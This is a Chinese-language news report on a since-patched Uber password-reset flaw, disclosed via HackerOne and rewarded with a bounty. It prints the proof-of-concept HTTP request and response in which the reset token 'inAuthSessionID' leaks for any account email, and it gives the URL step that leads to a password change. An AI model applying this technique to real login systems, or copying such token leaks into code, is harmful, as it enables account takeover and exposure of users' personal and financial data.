意大利安全专家Vincenzo C. Aka发现Uber平台存在身份认证漏洞,任意账户都可以利用该漏洞重置密码,这一发现于昨日正式公布。实际上,引发此次“身份认证危机”的漏洞是在七个月前发现的,Vincenzo C. Aka当时通过HackerOne的Bug Bounty项目将漏洞上报给了Uber(他在HackerOne平台的账号为procode701)。
该漏洞发展的时间线如下:
2016年10月2日—将漏洞上报Uber
2016年10月4日—漏洞分级
2016年10月6日—修复漏洞
2016年10月18日—研究者获10,000美元奖励
旧有漏洞如何重新利用?
“只需一个Uber有效账户的电子邮箱地址,任何人都可以接管该账户。在响应密码重置HTTP请求时,响应token就会暴露。也就是说,攻击者可以重发起重置请求,快速接收重置token。”
Uber对此回应称:“保护用户的数据安全是重中之重,因此我们对这项报告很感兴趣。另外,我们很乐意跟procode701合作,希望他将来可以上报更多漏洞。”
这位意大利专家发现,这一过程可以被利用生成认证token“inAuthSessionID”,这个token可以更改任意账户的密码。
为了获得更多细节,securityaffairs网站联系了Vincenzo C. Aka。Vincenzo C. Aka表示,只需使用任意一个Uber账号的有效电子邮件地址,发送重置密码的请求,就会收到包含“inAuthSessionID”session token的回应。只要用户发送重置密码的请求邮件,Uber平台每次都会生成一个特定的session token。
一旦获取session令牌“inAuthSessionID”,攻击者就可以通过正常的链接,进入重置密码界面更改密码。
1、https://auth.uber.com/login/stage/PASTE SESSION ID
POST /login/handleanswer HTTP/1.1
Host: auth.uber.com
{ "init": false,
"answer": {
"type": "PASSWORD_RESET_WITH_EMAIL",
"userIdentifier": {
"email": "xxxx@uber.com"
}
}
}
Reply
HTTP/1.1 200 OK
{
"inAuthSessionID": "cdc1a741-0a8b-4356-8995-8388ab4bbf28",
"stage": {
"question": {
"signinToken": "",
"type": "VERIFY_PASSWORD_RESET",
"tripChallenges": []
},
"alternatives": []
}
}
这是一个高危漏洞,攻击者可以由此进入任意账户,获取任意用户的数据(例如,身份信息,银行数据,驾驶证信息),其中包括金融数据。
|